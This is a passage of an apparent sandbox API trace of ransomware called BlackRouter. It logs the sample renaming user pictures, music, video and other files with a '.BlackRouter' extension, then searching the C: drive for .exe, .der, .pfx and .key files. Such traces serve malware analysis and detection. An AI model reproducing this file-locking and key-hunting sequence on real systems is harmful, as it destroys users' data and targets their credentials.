hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x13fb [0122.981] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefd1bdf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1400)) returned 1 [0122.981] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg.blackrouter")) returned 1 [0122.982] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x780 [0122.985] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefd1bdf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x790)) returned 1 [0122.985] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg.blackrouter")) returned 1 [0122.985] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x127e [0122.989] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefd1bdf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1280)) returned 1 [0122.989] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.blackrouter")) returned 1 [0122.989] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x2949 [0122.993] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64e9680, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64e9680, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefd1bdf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2950)) returned 1 [0122.993] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg.blackrouter")) returned 1 [0122.993] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x1d51 [0123.004] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6477260, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefd41f50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1d60)) returned 1 [0123.005] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg.blackrouter")) returned 1 [0123.038] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x0 [0123.039] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae5a0 | out: lpFileInformation=0x1ae5a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xefd8e210, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0123.039] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.BlackRouter" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt.blackrouter")) returned 1 [0125.545] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x4 [0125.548] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\mail recipient.mapimail"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c48085e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf1581f70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0125.548] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\mail recipient.mapimail"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail.BlackRouter" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\mail recipient.mapimail.blackrouter")) returned 1 [0126.795] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x9b944 [0126.855] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf22012f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x9b950)) returned 1 [0126.855] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg.BlackRouter" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg.blackrouter")) returned 1 [0129.448] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x8064f1 [0130.195] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xf41d7930, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x806500)) returned 1 [0130.195] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.BlackRouter" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3.blackrouter")) returned 1 [0130.196] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x3ec5d2 [0130.539] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xf451d770, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5e0)) returned 1 [0130.539] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3.BlackRouter" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3.blackrouter")) returned 1 [0130.540] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x49e459 [0131.170] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xf4b10e70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x49e460)) returned 1 [0131.226] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.BlackRouter" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3.blackrouter")) returned 1 [0131.345] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xd6b22 [0131.448] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xf4dbe730, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xd6b30)) returned 1 [0131.448] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.BlackRouter" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg.blackrouter")) returned 1 [0131.449] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xce875 [0131.581] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xf4f15390, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xce880)) returned 1 [0131.582] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.BlackRouter" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg.blackrouter")) returned 1 [0131.583] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x91554 [0131.747] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xf5092150, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x91560)) returned 1 [0131.747] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.BlackRouter" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg.blackrouter")) returned 1 [0131.749] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xbd616 [0131.822] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xf5150830, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xbd620)) returned 1 [0131.822] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.BlackRouter" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg.blackrouter")) returned 1 [0131.823] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xbea1f [0131.900] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xf520ef10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xbea20)) returned 1 [0131.900] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.BlackRouter" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg.blackrouter")) returned 1 [0131.910] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x8907c [0132.040] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xf5365b70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x89080)) returned 1 [0132.040] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.BlackRouter" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg.blackrouter")) returned 1 [0132.041] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0xbde6b [0132.115] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xf5424250, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xbde70)) returned 1 [0132.115] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.BlackRouter" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg.blackrouter")) returned 1 [0132.116] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x97958 [0132.165] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xf5496670, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x97960)) returned 1 [0132.165] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.BlackRouter" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg.blackrouter")) returned 1 [0132.206] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x1907b8a [0137.288] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xf8588ad0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1907b90)) returned 1 [0137.289] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), lpNewFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.BlackRouter" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv.blackrouter")) returned 1 [0137.344] GetLogicalDrives () returned 0x4 [0137.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.347] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.347] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.347] FindFirstFileW (in: lpFileName="C:\\*.exe", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.347] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.347] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.347] FindFirstFileW (in: lpFileName="C:\\*.der", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.348] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.348] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.348] FindFirstFileW (in: lpFileName="C:\\*.pfx", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.348] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.348] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.349] FindFirstFileW (in: lpFileName="C:\\*.key", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) 